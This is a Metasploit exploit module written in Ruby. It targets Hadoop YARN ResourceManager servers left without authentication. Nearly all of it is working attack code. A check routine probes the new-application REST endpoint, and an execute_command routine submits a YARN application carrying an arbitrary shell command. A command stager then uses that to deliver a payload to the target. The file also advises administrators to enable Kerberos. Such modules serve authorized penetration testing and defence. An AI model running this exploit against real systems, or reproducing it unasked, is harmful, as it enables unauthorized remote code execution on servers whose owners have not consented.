adfoster-r7
107 lines
3.6 KiB
Ruby
107 lines
3.6 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::CmdStager
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def initialize(info = {})
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super(
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update_info(
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info,
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'Name' => 'Hadoop YARN ResourceManager Unauthenticated Command Execution',
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'Description' => %q{
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This module uses Hadoop's standard ResourceManager REST API to execute arbitrary commands on an unsecured Hadoop server.
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Hadoop administrators should enable Kerberos authentication for these endpoints by changing the 'hadoop.security.authentication' setting in 'core-site.xml' from 'simple' (the default) to 'kerberos' before exposing the node to the network.
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},
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'License' => MSF_LICENSE,
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'Author' => [
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'cbmixx', # Proof of concept
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'Green-m <greenm.xxoo[at]gmail.com>' # Metasploit module
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],
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'References' => [
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['URL', 'http://archive.hack.lu/2016/Wavestone%20-%20Hack.lu%202016%20-%20Hadoop%20safari%20-%20Hunting%20for%20vulnerabilities%20-%20v1.0.pdf'],
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['URL', 'https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn'],
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# Note, there will never be a CVE for this issue, since this is a misconfiguration by the administrator rather than a vulnerability in the software.
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# Hadoop installations should always configure Kerberos authentication before being exposed to the network,
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# since the default configuration does not require authentication.
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['URL', 'https://hadoop.apache.org/docs/current/hadoop-project-dist/hadoop-common/SecureMode.html']
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],
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'Platform' => 'linux',
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'Arch' => [ARCH_X86, ARCH_X64],
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'Targets' => [
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['Automatic', {}]
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],
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'Privileged' => false,
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'DisclosureDate' => '2016-10-19',
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'DefaultTarget' => 0,
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'Notes' => {
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'Reliability' => UNKNOWN_RELIABILITY,
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'Stability' => UNKNOWN_STABILITY,
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'SideEffects' => UNKNOWN_SIDE_EFFECTS
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}
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)
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)
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register_options([Opt::RPORT(8088)])
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end
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def check
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begin
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res = send_request_cgi(
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'uri' => normalize_uri(target_uri.path, '/ws/v1/cluster/apps/new-application'),
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'method' => 'POST'
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)
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rescue Rex::ConnectionError
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vprint_error("#{peer} - Connection failed")
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return CheckCode::Unknown('Could not determine the target status')
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end
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if res && res.code == 200 && res.body.include?('application-id')
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return CheckCode::Appears('The target appears to be vulnerable')
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end
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CheckCode::Safe('The target is not vulnerable')
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end
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def exploit
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print_status('Sending Command')
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execute_cmdstager
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end
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def execute_command(cmd, opts = {})
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res = send_request_cgi(
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'uri' => normalize_uri(target_uri.path, '/ws/v1/cluster/apps/new-application'),
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'method' => 'POST'
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)
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unless res && res.code == 200 && res.body.include?('application-id')
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fail_with(Failure::NotFound, 'Could not retrieve application-id')
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end
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app_id = res.get_json_document['application-id']
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post = {
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'application-id' => app_id,
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'application-name' => Rex::Text.rand_text_alpha_lower(4..12),
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'application-type' => 'YARN',
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'am-container-spec' => {
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'commands' => { 'command' => cmd.to_s }
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}
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}
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send_request_cgi(
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'uri' => normalize_uri(target_uri.path, '/ws/v1/cluster/apps'),
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'method' => 'POST',
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'ctype' => 'application/json',
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'data' => post.to_json
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)
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end
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end
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